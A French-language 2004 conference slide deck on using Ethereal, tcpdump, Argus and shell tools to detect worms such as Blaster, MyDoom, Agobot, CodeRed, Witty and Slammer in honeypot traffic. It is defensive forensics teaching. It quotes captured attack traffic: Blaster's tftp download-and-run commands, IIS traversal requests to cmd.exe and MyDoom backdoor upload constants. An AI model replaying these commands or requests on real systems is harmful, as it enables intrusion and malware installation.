



HERVÉ SCHAUER CONSULTANTS

Cabinet de Consultants en Sécurité Informatique depuis 1989

Spécialisé sur Unix, Windows, TCP/IP et Internet

JSSI 2004

4 mai 2004

Ethereal, un analyseur réseau à usages multiples

ou comment détecter virus et vers par analyse réseau

Jean-Baptiste Marchand

<Jean-Baptiste.Marchand@hsc.fr>

- × Ethereal
 - × Fonctionnalités
- × Analyse réseau (dans l'optique de détection de virus et vers)
 - × Capture de trafic sur l'Internet
 - × Analyse de premier niveau des traces collectées
 - × Analyse fine avec Ethereal

- × Ethereal
 - × Analyseur réseau : logiciel qui décode le trafic réseau, jusqu'à la couche applicative
 - × Logiciel libre, fonctionne sur Unix et Windows
 - × Support de plus de 500 protocoles
- × Capture et lecture du trafic réseau
 - × Capture en utilisant l'interface pcap (Unix) ou Winpcap (Win32)
 - × Support de nombreux formats de captures d'autres analyseurs réseau
 - × Programmes editcap et mergecap, pour éditer ou convertir les formats de fichiers de capture supportés par ethereal

- × Décodage du trafic
 - × ethereal (GUI en GTK) ou tethreal (CLI)
 - × Filtres d'affichage (*display filters*), qui permettent de filtrer les trames affichées
 - × Tout champ décodé par ethereal peut être spécifié dans un **filtre d'affichage**
 - × Différent d'un **filtre de capture** (expressions BPF), qui sont pris en compte lors de la phase de capture du trafic réseau
- × Sauvegarde du trafic
 - × Possibilité de sauvegarder un sous-ensemble du trafic capturé
 - × Particulièrement intéressant en utilisant un filtre d'affichage

- × Analyse du trafic
 - × Fonctionnalité *Follow TCP Stream* : réassemblage d'une session TCP
 - × Fonctionnalités statistiques avancées, parmi lesquelles
 - × *Protocol Hierarchy* : donne un aperçu de la répartition des protocoles observés dans une capture
 - × *Conversation List* : donne la liste des conversations observées dans une capture
 - × *Endpoint List* : donne la liste des endpoints observés dans une capture
- × Identification du trafic
 - × Ethereal peut se baser sur les numéros de port pour identifier la nature du trafic
 - × Mécanisme d'heuristique pour les protocoles qui n'utilisent pas un port fixe
 - × Fonctionnalité *Decode As*, lorsqu'ethereal se trompe dans l'identification
 - × Il est parfois nécessaire de désactiver le décodage d'un protocole donné (*Enabled Protocols*)

- x Capture de trafic sur l'Internet
 - x A l'aide d'un pot de miel, en écoute sur 8 adresses IP (`xxx.yyy.zzz.ttt/29`)
 - x Logiciels utilisés : honeyd et tcpdump
 - x honeyd : pot de miel (*honeypot*) dit à interaction moyenne
 - x Configuration par défaut : répond aux demandes de connexion TCP mais **pas de service en écoute**
 - x `arpd xxx.yyy.zzz.ttt/29 ; honeyd -t honeyd.log xxx.yyy.zzz.ttt/29`
 - x tcpdump : sonde réseau pour capture le trafic à destination des hôtes émulsés par le pot de miel
 - x `tcpdump -s 0 -w PourJeanBat net xxx.yyy.zzz.ttt/29`
 - x Capture de l'intégralité du trafic à destination du sous-réseau (`net xxx.yyy.zzz.ttt/29`)
 - x Option `-s 0` pour capturer l'intégralité des trames (impératif pour l'analyse ultérieure avec ethereal)

- x Trace résultat (commande capinfo (tcpreplay))
 - x `PourJeanBat3 pcap file`
 - `pcap (little endian)`
 - `version: 2.4`
 - `zone: 0`
 - `sig figs:`
 - `snaplen: 2345`
 - `linktype: ethernet`
 - `1520676 packets, 265613585 bytes`
 - `first packet: Fri Mar 12 19:17:15 2004`
 - `last packet: Thu Apr 1 11:07:02 2004`
 - x Trace de 277 Mo, pour environ 3 semaines de trafic
 - x Intégralité du trafic
 - x Pas directement analysable dans ethereal, nécessite un découpage en traces de tailles inférieures

- × Premier aperçu de la typologie du trafic collecté
 - × Utilisation de la suite d'outils Argus (*the network Audit Record Generation and Utilization System*) : <http://www.qosient.com/argus/>
 - × Outils utilisés
 - × argus : génération d'un fichier au format argus, à partir d'une trace pcap
 - × `argus -r PourJeanBat3 -w PourJeanBat3.ra`
 - × rahosts : liste des hôtes observés dans une trace
 - × `rahosts -n -r PourJeanBat3.ra > PourJeanBat3.rahosts`
 - × 9532 hôtes différents observés
 - × ramon : aperçu des ports (tcp ou udp) ciblés
 - × `ramon -n -M Svc -n -r PourJeanBat3.ra - tcp > PourJeanBat3.tcp`
 - × `ramon -n -M Svc -n -r PourJeanBat3.ra - udp > PourJeanBat3.udp`
 - × rasort : tri des différents flux selon des critères paramétrables

Typologie : 20 ports TCP les plus visés

x	12	Mar	04	19:17:19	tcp	445	210659	146770	17291378	8102568
	12	Mar	04	19:17:15	tcp	139	177533	123457	12494750	6932094
	12	Mar	04	19:17:19	tcp	3127	96030	93569	112351927	5058754
	12	Mar	04	19:17:49	tcp	80	70621	54161	42044963	2968878
	12	Mar	04	20:30:57	tcp	1433	63718	26909	4127828	1489798
	12	Mar	04	19:20:10	tcp	135	41236	28515	8571154	1577190
	12	Mar	04	19:20:13	tcp	4444	22441	16433	1455763	900578
	12	Mar	04	19:17:19	tcp	6129	8485	6577	3402828	363582
	12	Mar	04	19:17:22	tcp	1025	5276	4209	2075711	233062
	13	Mar	04	05:57:42	tcp	3128	4090	3806	4195505	206492
	12	Mar	04	19:17:19	tcp	2745	3844	2934	230990	163044
	12	Mar	04	19:17:19	tcp	5000	3237	2171	218254	121014
	13	Mar	04	00:01:43	tcp	1080	2268	2002	1878222	108896
	12	Mar	04	19:17:33	tcp	1981	2385	1659	231978	92270
	13	Mar	04	09:49:06	tcp	10080	1987	1820	1894137	98740
	13	Mar	04	00:10:02	tcp	21	1082	605	60508	34462
	12	Mar	04	20:58:52	tcp	4899	598	356	34846	19772
	12	Mar	04	19:20:56	tcp	20168	358	208	20028	11580
	12	Mar	04	19:20:56	tcp	1257	174	111	9710	6142
	19	Mar	04	12:59:59	tcp	111	147	80	8914	4448

- x 139/tcp, 445/tcp : serveur SMB/CIFS
- x 3127/tcp : *backdoor* installée par le virus MyDoom-A (a.k.a. Novarg.A)
- x 80/tcp : serveur HTTP ou *backdoor* laissée par le virus MyDoom-B
- x 1433/tcp : serveur MSSQL
- x 135/tcp : service rpcss des systèmes Windows
- x 4444/tcp : *backdoor* laissée par les vers de la famille Blaster
- x 6129/tcp : logiciel DameWare remote control server
- x 1025/tcp : service MSRPC (notamment service RPC du service Workstation)
- x 3128/tcp : relais HTTP ou *backdoor* laissée par le virus MyDoom-B
- x 2745/tcp : *backdoor* laissée par le virus de la famille Beagle

- × 5000/tcp : service UPnP (Universal Plug and Play)
- × 1080/tcp : relais SOCKS ou *backdoor* laissée par le virus MyDoom-B
- × 1981/tcp : *backdoor* Shockrave
- × 10080 : *backdoor* laissée par le virus MyDoom-B
- × 21/tcp : serveur FTP
- × 4899/tcp : *backdoor* laissée par le virus Deloder-A
- × 20168/tcp : *backdoor* laissée par le virus Lovgate-AA
- × 1257/tcp : ?
- × 111/tcp : portmapper ONC-RPC

Typologie : ports UDP visés

x	12	Mar	04	19:17:15	udp	137	61383	0	5647236	0
	16	Mar	04	10:53:09	udp	500	6723	17	1224478	3806
	12	Mar	04	19:27:51	udp	1434	857	0	358226	0
	12	Mar	04	19:52:10	udp	1026	612	0	493669	0
	15	Mar	04	18:46:34	udp	38293	246	0	14268	0
	13	Mar	04	02:37:11	udp	1027	138	0	113817	0
	25	Mar	04	04:49:18	udp	161	41	0	3587	0
	13	Mar	04	09:03:00	udp	53	27	0	2704	0
	21	Mar	04	22:33:59	udp	11654	25	0	29450	0
	23	Mar	04	07:18:40	rtcp	137	23	0	2116	0
	22	Mar	04	20:44:49	udp	0	20	0	13712	0
	21	Mar	04	23:57:46	udp	56830	20	0	22840	0
	22	Mar	04	03:05:17	udp	43326	20	0	20740	0
	21	Mar	04	22:08:46	udp	44603	19	0	23807	0
	21	Mar	04	22:31:18	udp	55297	17	0	15742	0
	22	Mar	04	03:07:33	udp	22967	15	0	15015	0
	21	Mar	04	23:14:51	udp	24902	15	0	19245	0
	21	Mar	04	22:34:54	udp	10996	14	0	15568	0
	28	Mar	04	19:37:21	udp	49597	2	0	2482	0

- x 137/udp : résolution de noms NetBIOS (NetBIOS sur TCP/IP)
- x 500/udp : IKE (Internet Key Exchange)
- x 1434/udp : SQL Server resolution service
- x 1026/udp, 1027/udp : service Messenger (systèmes Windows)
- x 38293/udp : Norton Antivirus ?
- x 161/udp : SNMP
- x 53/udp : DNS
- x 0/udp : ?
- x **Où est Witty (4000/udp) ?**

- × Trafic malicieux observé a plusieurs finalités
- × Exploiter une vulnérabilité dans un logiciel
 - × Blaster/SoBig (135/tcp), exploit DameWare (6129/tcp), exploit UPnP (5000/tcp), Slammer (1434/udp), Witty (4000/udp)
- × Exploiter une backdoor laissée par un vers ou virus installé au préalable
 - × Backdoors MyDoom-A (3127/tcp), MyDoom-B (80/tcp, 1080/tcp, 3128/tcp, 10080/tcp), Beagle (2745/tcp), Blaster (4444/tcp), Deloder-A (4899/tcp), Lovgate-AA (20168/tcp), Shockrave (1981/tcp)
- × Exploiter une configuration par défaut trop permissive
 - × Serveur SMB/CIFS (139/tcp, 445/tcp), Serveur SQL Server (1433/tcp)
- × Envoyer de la publicité...
 - × Spam à destination du service Messenger (1026/udp, 1027/udp)

- x Etape 1 : extraire de la trace principale une sous-trace contenant uniquement le trafic souhaité
 - x `tcpdump -r PourJeanBat3 -w 4444.cap 'tcp port 4444'`
- x Première étape suivante possible : utiliser tcpflow pour extraire les données échangées dans les différentes sessions TCP
 - x `mkdir 4444 ; cd 4444 ; tcpflow -r ../4444.cap`
 - x Analyse va se poursuivre avec les outils du shell : ls, awk, sort, uniq, md5
- x Séquences utilisées ici (dans le répertoire contenant les flux extraits)
 - x `ls -l | awk '{print $5}' | sort | uniq -c | sort -nr`
 - x `find . -size 42c | while read file ; do md5 -q $file ; done | sort -nr`

- × Autre étape suivante possible : utiliser `split.py` pour découper la sous-trace extraite en autant de traces pcap qu'il y a de sessions TCP
 - × `split.py trace.cap`
 - × Permet de poursuivre l'analyse avec ethereal

x Découpage de la trace 135.cap

3114 1776

2358 72

177 204

32 2976

28 1704

9 1779

8 244

2 3

2 1460

1 2904

1 144

1 1322

- × Calcul de l'empreinte MD5 pour la variante de 1776 octets (3114 occurrences observées) :

```
find . -size 1776c -print | while read name ; do md5  
-q $name ; done | sort | uniq -c | sort -rn
```

```
2465 288c8038afd9b6cc56c3f5caafc46659  
633 b112adde25720c42e5b55b75cdd8eaca  
8 33549c83da5641b6f5d1c46a6aed8d9a  
8 1dae399936cd5eb16eeb6e094ac911b9
```

- × Les deux principales variantes présentent uniquement une différence de 4 octets (dans la partie des données passées en paramètre)

- × Analyse dans ethereal
 - × Tentative d'exploitation d'une vulnérabilité dans l'interface ISystemActivator (interface ORPC, pour DCOM)
 - × Code d'exploitation (*exploit*) publié le 25 juillet 2003 (Xfocus, *The Analysis of LSD's Buffer Overrun in Windows RPC Interface*), réécrit par H D Moore le 26 juillet 2003
 - × Utilisé **tel quel** par les auteurs du vers Blaster, à l'intérieur de l'exécutable msblast.exe
 - × Blaster met en écoute un shell SYSTEM sur le port 4444/tcp
 - × Blaster Worm Analysis :
<http://www.eeye.com/html/Research/Advisories/AL20030811.html>

No. -	Time	Source	Destination	Protocol	Info
1	2004-03-13 19:11:14.517352	207.76.104.88	208.225.242.241	TCP	3254 > 135 [SYN] Seq=0 Ack=0 Win=16384 Len=0 MSS=1360
2	2004-03-13 19:11:14.538822	208.225.242.241	207.76.104.88	TCP	135 > 3254 [SYN, ACK] Seq=0 Ack=1 Win=16000 Len=0 MSS=1460
3	2004-03-13 19:11:14.917580	207.76.104.88	208.225.242.241	TCP	3254 > 135 [ACK] Seq=1 Ack=1 Win=17680 Len=0
4	2004-03-13 19:11:18.763787	207.76.104.88	208.225.242.241	DCERPC	Bind: call_id: 127 UUID: 000001a0-0000-0000-c000-000000000046 ver 0,0
5	2004-03-13 19:11:18.765827	208.225.242.241	207.76.104.88	TCP	135 > 3254 [ACK] Seq=1 Ack=73 Win=16000 Len=0
6	2004-03-13 19:11:18.835494	207.76.104.88	208.225.242.241	TCP	[Desegmented TCP]
7	2004-03-13 19:11:18.837226	208.225.242.241	207.76.104.88	TCP	135 > 3254 [ACK] Seq=1 Ack=1433 Win=16000 Len=0
8	2004-03-13 19:11:18.848873	207.76.104.88	208.225.242.241	DCERPC	Request: call_id: 229 opnum: 4 ctx_id: 1
9	2004-03-13 19:11:18.850032	207.76.104.88	208.225.242.241	TCP	3254 > 135 [FIN, ACK] Seq=1777 Ack=1 Win=17680 Len=0
10	2004-03-13 19:11:18.851314	208.225.242.241	207.76.104.88	TCP	135 > 3254 [ACK] Seq=1 Ack=1777 Win=16000 Len=0
11	2004-03-13 19:11:18.851578	208.225.242.241	207.76.104.88	TCP	135 > 3254 [FIN, ACK] Seq=1 Ack=1778 Win=16000 Len=0
12	2004-03-13 19:11:19.235380	207.76.104.88	208.225.242.241	TCP	3254 > 135 [ACK] Seq=1778 Ack=2 Win=17680 Len=0

Frame 8 (398 bytes on wire, 398 bytes captured)
 Ethernet II, Src: 00:50:73:2b:bd:81, Dst: 52:54:00:e8:8a:b9
 Internet Protocol, Src Addr: 207.76.104.88 (207.76.104.88), Dst Addr: 208.225.242.241 (208.225.242.241)
 Transmission Control Protocol, Src Port: 3254 (3254), Dst Port: 135 (135), Seq: 1433, Ack: 1, Len: 344
 DCE RPC

- Version: 5
- Version (minor): 0
- Packet type: Request (0)
- Packet Flags: 0x03
- Data Representation: 10000000
 - Frag Length: 1704
 - Auth Length: 0
 - Call ID: 229
 - Alloc hint: 1680
 - Context ID: 1
 - Opnum: 4
 - Stub data (1680 bytes)

- × Calcul de l'empreinte MD5 pour la variante de 72 octets (2358 occurrences observées) :

```
find . -size 72c | while read name ; do md5 -q $name ;  
done | sort | uniq -c | sort -n
```

```
1082 a26b51f9dd5297b37e393ff0610c0dea
```

```
1276 da4874932f7fcaba5277bbcdf2b5e6b0
```

- × L'analyse dans ethereal de cette variante montre que la différence entre les deux variantes est l'interface DCE RPC utilisée
 - × ISystemActivator : 000001a0-0000-0000-c000-000000000046 ver 0.0
 - × MGMT: afa8bd80-7d8a-11c9-bef4-08002b102989 v1.0
 - × Recherche de services RPC vulnérables sur le port 135/tcp (service rpcss)

```
x  1  0.000000 192.71.76.151 -> xxx.yyy.zzz.ttt TCP 1770 > 135
[SYN] Seq=0 Ack=0 Win=16384 Len=0 MSS=1460
    2  0.001033 xxx.yyy.zzz.ttt -> 192.71.76.151 TCP 135 > 1770
[SYN, ACK] Seq=0 Ack=1 Win=16000 Len=0 MSS=1460
    3  0.100428 192.71.76.151 -> xxx.yyy.zzz.ttt TCP 1770 > 135
[ACK] Seq=1 Ack=1 Win=17520 Len=0
    4  0.104335 192.71.76.151 -> xxx.yyy.zzz.ttt DCERPC Bind:
call_id: 127 UUID: 000001a0-0000-0000-c000-000000000046 ver 0.0

x  7  9.460253 217.229.239.116 -> xxx.yyy.zzz.ttt TCP 3414 > 135
[SYN] Seq=0 Ack=0 Win=16384 Len=0 MSS=1406
    8  9.460611 xxx.yyy.zzz.ttt -> 217.229.239.116 TCP 135 > 3414
[SYN, ACK] Seq=0 Ack=1 Win=16000 Len=0 MSS=1460
    9  11.905907 217.229.239.116 -> xxx.yyy.zzz.ttt TCP 3414 > 135
[ACK] Seq=1 Ack=1 Win=16872 Len=0
   10 11.919313 217.229.239.116 -> xxx.yyy.zzz.ttt DCERPC Bind:
call_id: 1 UUID: MGMT
```

- x Empreinte MD5 de la variante de 204 octets (177 occurrences observées) :
177 f3bfc33d9c57d1258bc6b8ede736b6f5

- x 1 0.000000 218.103.148.199 -> xxx.yyy.zzz.ttt TCP 1740 > 135 [SYN]
Seq=0 Ack=0 Win=16384 Len=0 MSS=1440
- 2 0.000729 xxx.yyy.zzz.ttt -> 218.103.148.199 TCP 135 > 1740 [SYN, ACK]
Seq=0 Ack=1 Win=16000 Len=0 MSS=1460
- 3 0.301743 218.103.148.199 -> xxx.yyy.zzz.ttt TCP 1740 > 135 [ACK]
Seq=1 Ack=1 Win=17280 Len=0
- 4 0.312589 218.103.148.199 -> xxx.yyy.zzz.ttt DCERPC Bind: call_id:
415131524, 4 context items, 1st UUID: REMACT
- 5 0.312844 xxx.yyy.zzz.ttt -> 218.103.148.199 TCP 135 > 1740 [ACK]
Seq=1 Ack=205 Win=16000 Len=0
- 6 **6.301268** 218.103.148.199 -> xxx.yyy.zzz.ttt TCP 1740 > 135 [FIN, ACK]
Seq=205 Ack=1 Win=17280 Len=0
- 7 6.301787 xxx.yyy.zzz.ttt -> 218.103.148.199 TCP 135 > 1740 [FIN, ACK]
Seq=1 Ack=206 Win=16000 Len=0
- 8 6.650594 218.103.148.199 -> xxx.yyy.zzz.ttt TCP 1740 > 135 [ACK]
Seq=206 Ack=2 Win=17280 Len=0

- × Cibles des vers MSRPC :
 - × Vulnérabilité ISystemActivator
 - × Vulnérabilité RemoteActivation
 - × Interface MGMT, pour recherche d'une interface MSRPC vulnérable (une des deux précédentes)
- × Stratégies employées
 - × Envoi des données d'exploitation sans attente de réponse provenant du serveur visé
 - × Approche du vers Blaster
 - × Attente de la réponse au bind au service RPC vulnérable
 - × Pas de service RPC en écoute sur le pot de miel : pas de réponse retournée
 - × variantes de 72 et 204 octets

x Découpage de la trace 4444.cap

984 68

667 67

663 69

414 66

172 70

138 65

53 64

15 63

5 71

5 39

...

- × Séquence de commandes typiques envoyées à destination de l'interpréteur de commandes (cmd.exe), en écoute sur le port 4444/tcp d'un système infecté :

```
tftp -i xxx.yyy.zzz.ttt GET msblast.exe  
start msblast.exe  
msblast.exe
```

- × Nom de l'exécutable varie en fonction de la variante du vers
 - × Blaster-A : msblast.exe
 - × Blaster-B : teekids.exe
 - × Blaster-D : mspatch.exe
 - × Blaster-E : mslaugh.exe
 - × Blaster-F : enbiei.exe

- × Recherche avec ngrep dans la trace 4444.cap

```
ngrep -q -I 4444.cap 'start' | grep 'start' | sort |  
uniq -c | sort -n
```

- × Nombre d'exemplaires collectés

- × Blaster-A (msblast.exe) : 1571

- × Blaster-B (teekids.exe) : 520

- × Blaster-D (mspatch.exe) : 0

- × Blaster-E (mslaugh.exe) : 708

- × Blaster-F (enbiei.exe) : 287

- × MyDoom : vers qui installe une *backdoor* sur les ports 3127,3128,80, 1080, 10080...
- × *Backdoor* permet notamment le téléchargement et l'exécution d'exécutables
- × Vers apparus après MyDoom cherchent à utiliser ce point d'entrée

- × Nombreuses connexions observées sur les ports des *backdoors* MyDoom
- × Envoi d'un préambule correspondant à la commande de téléchargement de la *backdoor*, suivi d'un exécutable

- × Extrait de `mydoom.pl` (<http://www.honeynet.org.br/tools/mydoom/>)

```
my $MYDOOM_UPLOAD = 0x85;  
my $MYDOOM_MAGIC  = 0x133C9EA2;
```

- ×

0000000	85	13	3c	9e	a2	4d	5a	90	00	03	00	00	00	04	00	00
0000020	00	ff	ff	00	00	b8	00	00	00	00	00	00	00	40	00	00

- × **Enlever 5 octets** pour obtenir la taille de l'exécutable

- × Exécutables peuvent être extraits en supprimant les 5 premiers octets du flux TCP

```
tail -c 6+ mon_flux_tcp_mydoom | file -  
standard input: MS-DOS executable (EXE), OS/2 or MS  
Windows
```

- × Vérifier que le binaire est **complet** avec perdr (PE ReaDeR) :

```
perdr --show-headers 56832.exe
```

```
Headers size                00001000  
Size of raw data           00008200  
Size of raw data           00000800  
Size of raw data           00000400  
Size of raw data           00001E00  
Size of raw data           00002200
```

- × Analyse de surface
 - × `perdr -show-imports` : voir les fonctions importées par l'exécutable
 - × `strings(1)` : recherche d'une signature caractéristique d'une version de virus donné
- × Certains exécutables sont dans un format auto-extractible (*packers* type UPX ou autres)
 - × Utiliser `upx -d` pour décompresser l'exécutable
- × Caractéristiques des exécutables
 - × Taille(s) (compressé et décompressé) de l'exécutable
 - × permet **parfois** d'identifier la variante du virus, via les bases de données des éditeurs d'anti-virus, en se basant sur la nature de propagation observée.
 - × Ex : exécutables MyDoom observés sur les ports 3127, 3128, 1080, 10080
 - × Signatures MD5 apparaissent rarement dans les bases de données anti-virus...

x Découpage de la trace 3127.cap

```
210 5125      (Doomjuice-B, 5120 octets -> 6656 octets)
 97 109121    (Agobot.HX, 109116 octets)
 51 98309     (Agobot.RS 98304 octets -> 294912 octets)
 34 315397    (Agobot.HM.315392, 315292 octets)
 34 107925    (Agobot.EQ, 107920 octets)
 29 92165     (Agobot.LH, 92160 octets)
 23 700421    (700416 octets)
 17 56837     (DeadHat-B, 56832 octets)
 15 9733      (DeadHat-B, tronqué à 9728 octets)
 14 86533     (86528 octets)
 14 13829     (Nachi-D, 13824 octets)
 12 152670    (45056 octets, étendu à 152665)
 10 8325      (DeadHat-B, tronqué à 8320 octets)
```

x Découpage de la trace 3128.cap

```
27 57861 (57856 octets)
16 56837 (DeadHat-B, 56832 octets)
15 9733 (DeadHat-B, tronqué à 9728 octets)
13 8325 (DeadHat-B, tronqué à 8320 octets)
 6 55813 (DeadHat-C, 55808 octets)
 4 9861 (DeadHat-B, tronqué à 9856 octets)
 3 57856 (57856 octets, sans en-tête MyDoom)
...

```

x Découpage de la trace 1080.cap

32 3

18 56837 (DeadHat-B, 56832 bytes)

17 9

15 9733 (DeadHat-B, tronqué à 9728 bytes)

11 8325 (DeadHat-B, tronqué à 8320 bytes)

6 72

6 137

2 8261 (DeadHat-C, tronqué à 8256 octets)

2 25349 (DeadHat-B, tronqué à 25344 octets)

x Découpage de la trace 10080.cap

19	56837	(DeatHat-B, 56832 bytes)
15	9733	(DeatHat-B, tronqué à 9728 bytes)
11	8325	(DeatHat-B, tronqué à 8320 bytes)
2	25349	(DeadHat-B, tronqué à 25344 octets)
2	12677	(DeadHat-B, tronqué à 12672 octets)
1	9861	(DeadHat-B, tronqué à 9856 octets)
1	48901	(DeadHat-B, tronqué à 48896 octets)
1	40581	(DeadHat-B, tronqué à 40576 octets)
1	20997	(DeadHat-B, tronqué à 20992 octets)
1	20357	(DeadHat-B, tronqué à 20352 octets)
1	19589	(DeadHat-B, tronqué à 19584 octets)
1	18181	(DeadHat-B, tronqué à 18176 octets)
1	17157	(DeadHat-B, tronqué à 17152 octets)

- × DoomJuice-B
- × DeadHat-B
- × DeadHat-C
- × Nachi-D
- × Agobot.HX, Agobot.RS, Agobot.HM, Agobot.EQ, Agobot.LH

- × Vers Agobot/Gaobot
 - × Se propage en cherchant à exploiter des vulnérabilités multiples
 - × Ex : W32.Gaobot.AFW, qui tente d'exploiter les vulnérabilités suivantes :
 - × DCOM RPC (MS03-026)
 - × WebDAV/ntdll.dll (MS03-007)
 - × Workstation service buffer overrun (MS03-043, MS03-049)
 - × UPnP Notify buffer overflow (MS01-059)
 - × Vulnérabilité MSSQL (1434/udp) (MS02-061)
 - × LSA remote buffer overflow (MS04-011)
 - × Egalement, backdoors de la famille MyDoom, Beagle et Optix
 - × Au niveau d'une trace réseau : plusieurs ports visés simultanément

No.	Time	Source	Destination	Protocol	Info
1	2004-03-12 21:28:44.160699	32.185.167.255	192.63.254.133	TCP	1205 > 2745 [SYN]
2	2004-03-12 21:28:44.162531	32.185.167.255	192.63.254.133	TCP	1206 > 135 [SYN] S
5	2004-03-12 21:28:44.164423	32.185.167.255	192.63.254.133	TCP	1207 > 1025 [SYN]
7	2004-03-12 21:28:44.166152	32.185.167.255	192.63.254.133	TCP	1208 > 445 [SYN] S
9	2004-03-12 21:28:44.167960	32.185.167.255	192.63.254.133	TCP	1210 > 3127 [SYN]
11	2004-03-12 21:28:44.169672	32.185.167.255	192.63.254.133	TCP	1212 > 6129 [SYN]
13	2004-03-12 21:28:44.171401	32.185.167.255	192.63.254.133	TCP	1213 > 139 [SYN] S
15	2004-03-12 21:28:44.173140	32.185.167.255	192.63.254.133	TCP	1215 > 80 [SYN] Se
27	2004-03-12 21:28:44.594093	32.185.167.255	192.63.254.133	TCP	1255 > 5000 [SYN]

⊕ Frame 1 (62 bytes on wire, 62 bytes captured)

⊕ Ethernet II, Src: 00:50:73:2b:bd:81, Dst: 52:54:00:e8:8a:b9

⊕ Internet Protocol, Src Addr: 32.185.167.255 (32.185.167.255), Dst Addr: 192.63.254.133 (192.63.254.133)

⊕ Transmission Control Protocol, Src Port: 1205 (1205), Dst Port: 2745 (2745), Seq: 0, Ack: 0, Len: 0

× Découpage de la trace 80.cap

```
1960 3818 CodeRed-II
1398 190 GET / HTTP/1.1
1102 97 GET /scripts/..{%c1%9c, %c0%2f, %c0%af}../
winnt/system32/cmd.exe?/c+dir HTTP/1.0
830 96 GET /scripts/..{%255c, %252f, %%35c}../
winnt/system32/cmd.exe?/c+dir HTTP/1.0
610 80 GET /{c,d}/winnt/system32/cmd.exe?/c+dir HTTP/1.0
589 117 GET /_{mem,vti}_bin/..%255c../..%255c../..%
255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
330 72 GET /MSADC/root.exe?/c+dir HTTP/1.0
322 70 GET /MSADC/root.exe?/c+dir HTTP/1.0
322 150 OPTIONS / HTTP/1.1 User-Agent: Microsoft-WebDAV-MiniRedir/5.1.2600
287 145 GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%
1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
```

x

```
271 100 GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
270 98 GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
262 67126 Exploit ntdll.dll via WebDav sur IIS 5
78 2358 CodeRed-II, mal réassemblé par tcpflow, correctement réassemblé par
ethereal
50 1460 CodeRed-II tronqué
25 313 GET / HTTP/1.0
23 2366 CodeRed-II, mal réassemblé par tcpflow, correctement réassemblé par
ethereal
16 33 CONNECT 1.3.3.7:1337 HTTP/1.0
16 2920 CodeRed-II tronqué
15 315 GET / HTTP/1.0
12 41 HEAD / HTTP/1.0
```

- × Traffic observé à destination du port 2745/tcp
 - × 295 exemplaires de 17 octets, 383 exemplaires de 24 octets

```
0000000 ff43 ffff 3030 0130 1f0a 282b a12b 0132
0000010 0000
0000011
```

```
0000000 ff43 ffff 3030 0130 280a a191 e62b 2f60
0000010 8f32 1560 201a 001a
0000018
```

- × Un "message" de réponse est probablement attendu, ce qui explique la faible taille des données recues

- × Vers Witty
 - × vise une vulnérabilité dans le composant d'analyse du protocole ICQ dans le moteur des sondes de détection d'intrusions ISS
- × Vers novateur à plusieurs titres :
 - × Charge utile (*payload*) destructive : écrit régulièrement 65Ko de données à un emplacement aléatoire du disque
 - × Sorti le lendemain de l'annonce de la vulnérabilité: 19 Mars 2004
 - × Lancé de façon simultanée depuis plusieurs hôtes (entre 100 et 160 dans les 30 premières secondes)
 - × Exploite une vulnérabilité dans un produit de sécurité (sonde NIDS), normalement mis en place par des organisations soucieuses de leur sécurité
 - × The Spread of the Witty Worm (CAIDA) :
<http://www.caida.org/analysis/security/witty/>

- × Witty : détails techniques
 - × Transport sur UDP, port source 4000/udp
 - × Charge utile totale entre 796 et 1307 octets, charge utile réelle de 637 octets
 - × Ecriture à un emplacement aléatoire de 65 Ko tous les 20000 paquets envoyés
- × Message exploitant la vulnérabilité dans le module de décodage PAM pour ICQ
 - × Message SRV_MULTI_PACKET, encapsulant un message SRV_USER_ONLINE et un message SRV_META_USER
 - × ISS PAM/ICQ 'Witty' Worm Analysis (Matthew Murphy) : <http://www.netsecure.shawbiz.ca/witty-analysis.html>
 - × Changer la valeur d'un octet pour décoder correctement le message dans ethereal <http://www.mail-archive.com/full-disclosure@lists.netsys.com/msg16687.html>

HSC

Vers Witty (3/3)

No. .	Time	Source	Destination	Protocol	Info
1	2004-03-21 22:08:46.112571	203.66.50.155	192.203.92.192	ICQv5 (U	ICQv5 SRV_MULTI_PACKET

⊞ Frame 1 (1253 bytes on wire, 1253 bytes captured)

⊞ Ethernet II, Src: 00:50:73:2b:bd:81, Dst: 52:54:00:e8:8a:b9

⊞ Internet Protocol, Src Addr: 203.66.50.155 (203.66.50.155), Dst Addr: 192.203.92.192 (192.203.92.192)

⊞ User Datagram Protocol, Src Port: 4000 (4000), Dst Port: 44603 (44603)

⊞ ICQv5 SRV_MULTI_PACKET (len 1211)

- ⊞ Header
 - Version: 5
 - Session ID: 0x00000004
 - Command: SRV_MULTI_PACKET (530)
 - Seq Number 1: 0x0000
 - Seq Number 2: 0x0000
 - UIN: 0
 - Checkcode: 0x00000000
- ⊞ Body
 - Number of pkts: 2
 - ⊞ ICQv5 SRV_USER_ONLINE (len 44)
 - ⊞ Header
 - ⊞ Body
 - ⊞ ICQv5 SRV_META_USER (len 577)
 - ⊞ Header
 - ⊞ Unknown (0x0000)

- x Utilisation de rsort pour illustrer les ports **destination** du vers Witty

```
rsort -n -M sport -M dport -n -r PourJeanBat3.ra -  
udp src port 4000 | cut -d '.' -f 9 | cut -d ' ' -f 1  
| uniq -c
```

```
1 1026  
14 10996  
25 11654  
15 22967  
15 24902  
19 43326  
19 44603  
2 49597  
17 55297  
19 56830
```

- × SMB/CIFS (139/tcp, 445/tcp)
 - × Pas visible dans l'architecture actuelle, pas de serveur SMB/CIFS actif sur le *honeypot* pour répondre lors de la négociation du dialecte SMB
- × Dameware (6219/tcp)
 - × Vers utilisent presque tel quel l'*exploit* publié le 19 décembre 2003
- × Slammer (1434/udp)
 - × Un seul datagramme UDP, de 376 octets (désactiver le dissecteur DCERPC dans ethereal)
 - × Inside the Slammer Worm: <http://www.computer.org/security/v1n4/j4wea.htm>

Slammer (1434/udp)

No.	Time	Source	Destination	Protocol	Info
1	2004-03-12 19:27:51.182390	204.212.213.171	195.80.33.215	UDP	Source port: 1418 Destination port: 1434
2	2004-03-12 19:52:58.306111	143.211.125.215	195.80.33.208	UDP	Source port: 1421 Destination port: 1434
3	2004-03-12 20:10:07.774376	204.209.208.112	195.80.33.210	UDP	Source port: 1338 Destination port: 1434
4	2004-03-12 20:15:58.418143	204.212.196.105	195.80.33.210	UDP	Source port: 1059 Destination port: 1434
